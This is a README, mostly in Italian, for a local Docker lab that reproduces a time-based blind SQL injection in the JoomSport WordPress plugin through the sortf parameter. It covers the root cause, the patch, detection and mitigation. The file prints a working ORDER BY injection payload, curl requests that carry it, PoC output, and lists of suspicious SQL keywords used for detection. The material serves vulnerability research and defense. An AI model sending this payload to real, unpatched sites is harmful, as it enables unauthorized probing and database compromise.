
sortfQuesto repository contiene un laboratorio Docker locale per riprodurre e validare la CVE-2026-42647, una vulnerabilità di SQL injection non autenticata che interessa il plugin WordPress JoomSport - for Sports: Team & League, Football, Hockey & more.
Il comportamento vulnerabile si verifica nella funzionalità di ordinamento dell'elenco dei giocatori. Un visitatore pubblico può controllare il parametro di query sortf, che viene utilizzato per costruire una clausola SQL ORDER BY. Nelle versioni vulnerabili, il valore viene sanificato come testo e racchiuso tra backtick, ma non viene verificato contro una allowlist rigorosa prima di essere aggiunto alla query SQL.
Questo laboratorio confronta due versioni di JoomSport:
| Servizio | Versione JoomSport | Scopo | URL |
|---|---|---|---|
vuln | 5.7.6 | Obiettivo vulnerabile di confronto | http://localhost:8081 |
patched | 5.7.8 | Obiettivo corretto di confronto | http://localhost:8082 |
Gli advisory pubblici identificano le versioni precedenti alla 5.7.8 come vulnerabili e la 5.7.8 come versione corretta. Questo laboratorio utilizza la 5.7.6 come obiettivo vulnerabile perché un tag sorgente 5.7.7 non era disponibile nell'elenco dei tag SVN del plugin WordPress.org al momento della preparazione di questo laboratorio.
La catena di vulnerabilità dimostrata è:```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field
This lab validates the vulnerability as a time-based blind SQL injection. It does not perform database dumping, credential extraction, data modification, or destructive SQL operations.
This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.
## Verified Facts
| Claim | Evidence | How to verify in this lab |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| JoomSport before 5.7.8 is reported vulnerable to unauthenticated SQL injection. | Public advisories identify JoomSport `< 5.7.8` / `<= 5.7.7` as affected. | Review the References section and compare the vulnerable/patched services. |
| JoomSport 5.7.8 is the fixed version. | Public advisories and source comparison show that 5.7.8 validates the `sortf` value before building the ordering expression. | Inspect `class-jsport-playerlist.php` in both versions. |
| The affected parameter is `sortf`. | The vulnerable player list code reads `classJsportRequest::get('sortf')`. | Run the PoC and observe the injected `sortf` request. |
| The vulnerable code builds a dynamic SQL ordering value from user input. | In the vulnerable version, `sortf` is used to build `$options['ordering']`. | Inspect `sportleague/classes/objects/class-jsport-playerlist.php`. |
| The SQL sink is an `ORDER BY` clause. | The generated `$ordering` value is later appended into an SQL query with `ORDER BY`. | Inspect `sportleague/base/wordpress/classes/class-jsport-getplayers.php`. |
| The patch uses an allowlist-style fix. | The patched version introduces allowed static columns and expected dynamic field patterns before using the sort field. | Compare JoomSport 5.7.6 and 5.7.8 source. |
| The lab demonstrates time-based blind SQL injection. | The vulnerable target delays when an injected `SLEEP()` expression is used; the patched target does not. | Run `python3 poc/poc.py http://localhost:8081 http://localhost:8082`. |
## Assumptions and Unknowns
This lab uses JoomSport 5.7.6 as the vulnerable comparison target because the public fixed version is 5.7.8 and a 5.7.7 source tag was not available in the WordPress.org plugin SVN tag listing when the lab was prepared.
The lab does not claim that 5.7.6 is the only vulnerable version. It is used as a reproducible vulnerable baseline for comparing vulnerable behavior against the patched 5.7.8 behavior.
The lab focuses on the `sortf` parameter in the player list sorting flow.
The demonstrated impact is time-based blind SQL injection. The lab does not demonstrate:
* direct database dumping,
* credential extraction,
* authentication bypass,
* privilege escalation,
* arbitrary data modification,
* remote code execution,
* persistence,
* external callbacks,
* or attacks against non-lab systems.
Error-based or boolean-based behavior may be possible depending on database behavior, application configuration, and response differences, but this lab does not rely on those techniques. The primary proof is timing-based.
## Root Cause Summary
The root cause is unsafe construction of a dynamic SQL `ORDER BY` clause from the `sortf` request parameter.
The vulnerable code path starts in:```text
sportleague/classes/objects/class-jsport-playerlist.php
Nella logica di caricamento dell'elenco giocatori, JoomSport legge il parametro di richiesta:```text sortf
e lo usa per costruire:```text
$options['ordering']
Il pattern sorgente vulnerabile rilevante è:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
Il problema non è principalmente il parametro `sortd`. Il valore di `sortd` è limitato a:```text
ASC
DESC
Il problema è il parametro sortf perché controlla la posizione dell'identificatore/espressione SQL utilizzata per l'ordinamento.
L'espressione pericolosa è:```php
"".classJsportRequest::get('sortf').""
Il codice inserisce l'input controllato dall'attaccante in un contesto di identificatore MySQL e poi lo passa come frammento di ordinamento SQL.
Il codice applica:```php
sanitize_text_field()
ma sanitize_text_field() non è una validazione di identificatori SQL. È progettato per pulire il testo, non per costruire in modo sicuro la sintassi SQL.
Il codice vulnerabile racchiude anche il campo di ordinamento controllato dall'utente tra backtick. Tuttavia, i backtick non sono un confine di sicurezza quando l'attaccante può influenzare il contenuto dell'identificatore. Se un attaccante può iniettare un backtick nel valore, può fuoriuscire dal contesto dell'identificatore previsto.
Il valore di ordinamento generato viene successivamente passato nella query di recupero del giocatore e aggiunto a una clausola SQL ORDER BY in:```text
sportleague/base/wordpress/classes/class-jsport-getplayers.php
Il pattern di sink è:```php
$query .= ' ORDER BY '.($ordering);
Questo crea il flusso di dati vulnerabile:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY
Il problema di sicurezza è che l'applicazione tratta un parametro di richiesta controllato dall'utente come un identificatore/espressione SQL senza prima validarlo rispetto a una lista consentita rigorosa.
## Riepilogo della Patch Sorgente
La patch pertinente si trova in:```text
sportleague/classes/objects/class-jsport-playerlist.php
Nella versione vulnerabile, il codice dell'elenco dei giocatori costruisce $options['ordering'] direttamente dal valore della richiesta:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
La parte vulnerabile è che `classJsportRequest::get('sortf')` viene usato all'interno dell'espressione di ordinamento SQL.
JoomSport 5.7.8 modifica questo comportamento introducendo una variabile di campo di ordinamento validata prima di costruire `$options['ordering']`.
La versione corretta inizializza un valore predefinito sicuro:```php
$sortFieldEsc = 'post_title';
Definisce quindi le colonne di ordinamento statico consentite:```php $sortCols = array("played", "career_minutes", "post_title");
Quando `sortf` è presente, il codice patchato lo accetta solo se corrisponde a uno dei valori statici attesi:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
La patch consente inoltre i formati previsti per i campi dinamici event/stat:```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
L'ultima modifica rilevante per la sicurezza è che `$options['ordering']` viene costruito da `$sortFieldEsc` invece che dal valore grezzo della richiesta `sortf`:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;
Questo non rimuove l'ordinamento dinamico. Cambia il limite di fiducia.
Prima della patch:```text request sortf value directly controlled the ORDER BY identifier
Dopo la patch:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern
Se l'attaccante invia un valore imprevisto come:```text post_title`DESC,(SLEEP(2))#
il codice corretto non assegna quel valore a `$sortFieldEsc`.
Invece, il campo di ordinamento ricade su:```text
post_title
Ecco perché il servizio vulnerabile subisce ritardi, mentre il servizio corretto rimane vicino ai tempi di base.
La lezione di sicurezza dalla patch è:```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.
## Architettura del laboratorio
Il laboratorio esegue due installazioni WordPress isolate tramite Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── init-wordpress.sh
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
I due servizi WordPress eseguono database separati e versioni separate dei plugin:
Servizi esposti di default:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
Il processo di configurazione crea i dati JoomSport minimi necessari per renderizzare la route dell'elenco giocatori:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows
I servizi vulnerabili e corretti utilizzano la stessa struttura dei dati di laboratorio, in modo che il comportamento temporale possa essere confrontato equamente.
requests per eseguire il PoC dall'hostInstalla la dipendenza Python sull'host se necessario:```bash python3 -m pip install requests
## Avvio rapido
Avvia il lab:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Osserva i contenitori di setup:```bash docker compose logs -f setup-vuln setup-patched
Messaggi di completamento dell'installazione previsti:```text
[VULN] setup complete
[PATCHED] setup complete
Controlla lo stato del contenitore:```bash docker compose ps
Servizi esposti previsti:```text
http://localhost:8081
http://localhost:8082
Esegui il PoC contro il target vulnerabile:```bash python3 poc/poc.py http://localhost:8081
Esegui il PoC contro il target patchato:```bash
python3 poc/poc.py http://localhost:8082
Esegui il PoC contro entrambi i target in un unico comando:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
Per statistiche di temporizzazione più stabili, aumenta il numero di round:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
Puoi anche regolare il tempo di sleep richiesto:```bash python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5
## PoC Usage
La PoC controlla ogni target in modo indipendente.
Non richiede più opzioni separate `--vuln-url` o `--patched-url`. Invece, passa uno o più URL target come argomenti posizionali:```bash
python3 poc/poc.py <target_url> [target_url...]
Esempi:```bash python3 poc/poc.py http://localhost:8081 python3 poc/poc.py http://localhost:8082 python3 poc/poc.py http://localhost:8081 http://localhost:8082
Se non viene fornito un URL di destinazione, lo script richiede interattivamente uno o più URL di destinazione locali.
Opzioni supportate:```text
--season-id Seeded JoomSport season post ID. Default: 4
--rounds Number of requests per baseline/injected series. Default: 3
--sleep SLEEP() seconds used in the timing payload. Default: 2
Il PoC è intenzionalmente limitato all'ambito locale. Accetta target in stile localhost come:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
Il PoC rifiuta di default i target non locali.
## Come decide il PoC
Per ogni target, il PoC esegue due serie temporali:```text
[1/2] Baseline timing
[2/2] Injected timing
La richiesta baseline utilizza un normale campo di ordinamento:```text sortf=post_title
La richiesta iniettata utilizza un payload di timing solo locale nel parametro `sortf`:```text
sortf=post_title`DESC,(SLEEP(2))#
Il PoC calcola:```text delta = injected median - baseline median
| Verdict | Meaning |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | La richiesta iniettata è significativamente più lenta rispetto alla baseline. |
| `PATCHED-LIKE` | La richiesta iniettata rimane vicina alla baseline. |
| `UNREACHABLE` | Il target non è raggiungibile. |
| `INCONCLUSIVE` | Alcuni dati temporali risultano mancanti o incompleti. |
Regola decisionale predefinita:```text
injected median - baseline median >= 60% of requested SLEEP()
Per il --sleep 2 predefinito, la soglia è:```text
1.200s median delta
Ciò significa che un target viene segnalato come `VULNERABLE-LIKE` solo quando la richiesta iniettata è chiaramente più lenta rispetto alla propria baseline.
I target non raggiungibili o inconcludenti non vengono conteggiati come corretti.
## Riproduzione manuale HTTP con curl
Puoi riprodurre la validazione manualmente senza usare il PoC Python.
Richiesta baseline vulnerabile:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
Richiesta vulnerabile iniettata:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
Richiesta baseline patchata:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
Richiesta iniettata patchata:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
Confronto atteso:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched -> injected request stays near baseline timing
Comando:```bash python3 poc/poc.py http://localhost:8081
Segnale vulnerabile previsto:```text
CVE-2026-42647 JoomSport local timing validation
Scope : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic : baseline timing vs injected timing per target
Targets : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta
================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#
[1/2] Baseline timing
run 01: status=200 time=0.092s bytes=75333
run 02: status=200 time=0.044s bytes=75333
run 03: status=200 time=0.046s bytes=75333
summary median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
summary status=200x3 bytes=75333
[2/2] Injected timing
run 01: status=200 time=6.050s bytes=75321
run 02: status=200 time=6.058s bytes=75321
run 03: status=200 time=6.095s bytes=75321
summary median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
summary status=200x3 bytes=75321
Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta : 6.011s
Ratio : 130.8x
Threshold : 1.200s
Verdict : VULNERABLE-LIKE
Interpretation : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.
VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 0 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### Target patchato
Comando:```bash
python3 poc/poc.py http://localhost:8082
Baseline median : around normal baseline timing Injected median : around normal baseline timing Delta : below threshold Ratio : near 1.0x Threshold : 1.200s Verdict : PATCHED-LIKE
Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.
### Obiettivi Multipli
Comando:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
Risultato atteso:```text VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 1 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### Obiettivo non raggiungibile
Se un target non è attivo, il PoC dovrebbe segnalare `UNREACHABLE`, non `PATCHED-LIKE`.
Esempio:```bash
python3 poc/poc.py http://localhost:8083
Decisione prevista:```text Verdict : UNREACHABLE
Interpretation : the target could not be reached. No vulnerability decision was made for this target.
I target irraggiungibili non vengono conteggiati come corretti.
## Come funziona il PoC
Il PoC sonda la rotta dell'elenco giocatori di JoomSport per un post di stagione preimpostato.
La rotta di destinazione è equivalente a:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC
La richiesta di base utilizza:```text sortf=post_title
Questo dovrebbe produrre un normale ordinamento della lista dei giocatori.
La richiesta iniettata utilizza:```text
sortf=post_title`DESC,(SLEEP(2))#
Il codice vulnerabile racchiude sortf tra backtick e aggiunge una direzione di ordinamento. Il valore iniettato è progettato per uscire dal contesto dell'identificatore previsto e introdurre un'espressione temporale nella clausola ORDER BY.
Concettualmente, il frammento SQL vulnerabile diventa simile a:```sql
ORDER BY post_title DESC, (SLEEP(2))
Il marcatore di commento `#` impedisce al backtick finale e alla direzione di interferire con l'espressione iniettata.
Questo non è un payload di query impilate. Non inietta:```sql
; SELECT SLEEP(2);
Invece, inietta un'espressione SQL all'interno del contesto ORDER BY esistente.
La versione patchata non esegue l'espressione iniettata perché il valore sortf viene verificato rispetto ai campi di ordinamento consentiti e ripiega su post_title quando il valore è inatteso.
Questo laboratorio dimostra una SQL injection blind basata sul tempo non autenticata nel parametro sortf dell'elenco giocatori JoomSport.
La versione vulnerabile esegue un'espressione SQL di temporizzazione iniettata attraverso la clausola ORDER BY, producendo un chiaro ritardo nella risposta. La versione patchata non subisce ritardi perché il campo di ordinamento iniettato viene rifiutato e sostituito con un valore sicuro presente nella allowlist.
Il laboratorio dimostra solo l'esecuzione SQL basata sul tempo. Non dimostra estrazione di dati, modifica di dati, bypass dell'autenticazione, escalation dei privilegi o esecuzione remota di codice.
Gli indicatori potenziali includono richieste dirette alle route dell'elenco giocatori JoomSport con valori sortf insoliti.
Esempio di pattern di richiesta sospetto:```text GET /?post_type=joomsport_season&p=&action=playerlist&sortf=<unexpected_value>&sortd=ASC
Caratteristiche sospette di `sortf`:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings
Esempio di richiesta di laboratorio locale:```text sortf=post_title`DESC,(SLEEP(2))#
Segnale vulnerabile previsto:```text
HTTP 200 response with significant timing delay
Segnale patchato previsto:```text HTTP 200 response without significant timing delay
Potentiali idee per il monitoraggio in produzione:
* Esaminare i log di accesso web per valori `sortf` insoliti.
* Avvisare in presenza di parole chiave SQL o marcatori di commento nei parametri di ordinamento.
* Monitorare le richieste ripetute alle route dell'elenco giocatori di JoomSport con piccole modifiche ai parametri.
* Monitorare le query di database lente che coinvolgono le tabelle dell'elenco giocatori di JoomSport.
* Correlare le richieste lente con il traffico pubblico non autenticato.
* Verificare se JoomSport è installato e se la sua versione è precedente alla 5.7.8.
## Note sulla mitigazione e sulla patch
Aggiornare JoomSport alla versione 5.7.8 o successiva.
La versione corretta vincola il parametro `sortf` ai campi di ordinamento attesi e ai pattern di campi dinamici. I valori imprevisti ricadono su un campo di ordinamento predefinito sicuro.
Indicazioni di mitigazione a livello applicativo:
* Aggiornare il plugin JoomSport.
* Non esporre versioni obsolete del plugin su siti WordPress pubblici.
* Esaminare i log web per parametri `sortf` sospetti.
* Disabilitare o limitare le funzionalità interessate solo come mitigazione temporanea se un aggiornamento immediato non è possibile.
* Utilizzare una regola del Web Application Firewall come livello temporaneo, non come sostituto della patch.
* Trattare gli identificatori SQL dinamici in modo diverso dai valori normali: usare allowlist per nomi di colonne, nomi di tabelle, direzioni di ordinamento e componenti simili della sintassi SQL.
Il controllo più importante è l'allowlist. L'escaping da solo non è una soluzione completa per gli identificatori SQL dinamici.
## Comandi utili per la verifica
Controllare i container in esecuzione:```bash
docker compose ps
Guarda i log di configurazione:```bash docker compose logs -f setup-vuln setup-patched
Controlla i servizi WordPress:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082
Esegui il PoC contro il servizio vulnerabile:```bash python3 poc/poc.py http://localhost:8081
Esegui il PoC contro il servizio patchato:```bash
python3 poc/poc.py http://localhost:8082
Esegui il PoC contro entrambi i servizi:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
Esegui il PoC con più round:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
Salva evidenza:```bash mkdir -p evidence
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
| tee evidence/timing-validation.txt
docker compose ps
| tee evidence/docker-compose-ps.txt
docker compose logs vuln patched setup-vuln setup-patched \
evidence/docker-compose-logs.txt
Controlla le versioni dei plugin all'interno di WordPress:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Ispeziona il sorgente vulnerabile:```bash
docker compose exec -T vuln sh -lc
"grep -R "sortf\|ordering" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
Ispeziona il sorgente patchato:```bash
docker compose exec -T patched sh -lc \
"grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
Ispeziona il sink SQL:```bash
docker compose exec -T vuln sh -lc
"grep -R "ORDER BY" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"
## Pulizia
Ferma e rimuovi i container e le reti:```bash
docker compose down --remove-orphans
Rimuovi container, reti e volumi:```bash docker compose down -v --remove-orphans
Rimuovi i file di prova se creati:```bash
rm -rf evidence/
Questo laboratorio è destinato esclusivamente a ricerca sulla sicurezza locale e dimostrazioni controllate.
Non eseguire il PoC o i payload contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione a testare.
Non utilizzare credenziali reali, segreti di produzione o target esterni in questo laboratorio.
Il PoC è intenzionalmente limitato a servizi Docker locali come:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
Il PoC non include payload per il dumping di database, furto di credenziali, modifica dei dati, persistenza, movimento laterale o callback esterni.
L'obiettivo è dimostrare una specifica condizione tecnica in un ambiente controllato:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version
Avviso Wordfence: JoomSport <= 5.7.7 - SQL Injection non autenticata tramite il parametro sortf
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter
Avviso Wordfence: JoomSport - for Sports: Team & League, Football, Hockey & more <= 5.7.7 - SQL Injection non autenticata https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection
Database delle vulnerabilità dei plugin WPScan: JoomSport https://wpscan.com/plugin/joomsport-sports-league-results-management/
Plugin WordPress.org: JoomSport - for Sports: Team & League, Football, Hockey & more https://wordpress.org/plugins/joomsport-sports-league-results-management/
Plugin SVN di WordPress.org https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/
Tag SVN del plugin WordPress.org https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/
OWASP Web Security Testing Guide: Test per SQL Injection https://owasp.org/www-project-web-security-testing-guide/
OWASP Cheat Sheet Series: Prevenzione della SQL Injection https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
| Service | Component | Version / Role |
|---|
vuln | WordPress + JoomSport | JoomSport 5.7.6 |
patched | WordPress + JoomSport | JoomSport 5.7.8 |
db-vuln | MariaDB | database per il target vulnerabile |
db-patched | MariaDB | database per il target patchato |
setup-vuln | WP-CLI init service | installa WordPress e popola il target vulnerabile |
setup-patched | WP-CLI init service | installa WordPress e popola il target patchato |